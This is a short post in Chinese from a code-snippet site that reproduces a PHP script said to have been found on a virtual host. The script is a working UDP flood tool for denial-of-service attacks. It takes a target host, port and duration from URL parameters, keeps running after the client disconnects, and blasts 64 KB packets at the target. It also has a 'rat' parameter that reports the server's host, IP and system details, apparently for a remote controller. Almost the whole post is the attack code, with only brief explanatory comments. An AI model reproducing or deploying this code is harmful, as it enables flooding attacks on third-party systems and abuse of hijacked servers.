php 在虚拟主机上发现的一段php

<?php
set_time_limit(999999);//设置执行限定时间
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);//设置与客户机断开是否会终止脚本的执行,如果设置为 true，则忽略与用户的断开，如果设置为 false，会导致脚本停止运行。

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
        if (StrLen($_GET['rat'])<>0){
                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                exit;
            }
        echo "Warning to: opening";
        exit;
    }

for($i=0;$i<$Sendlen;$i++){
        $out .= "A";
    }

$max_time = time()+$exec_time;
//提示: www.haoddos.com 是骗子 请谨慎。
while(1){
    $packets++;
    if(time() > $max_time){
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
    }
}

echo "Send Host￡o$host:$port<br><br>";
echo "Send Flow￡o$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
echo "Send Rate￡o" . round($packets/$exec_time, 2) . " packs/s￡&#187;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>
//该片段来自于http://outofmemory.cn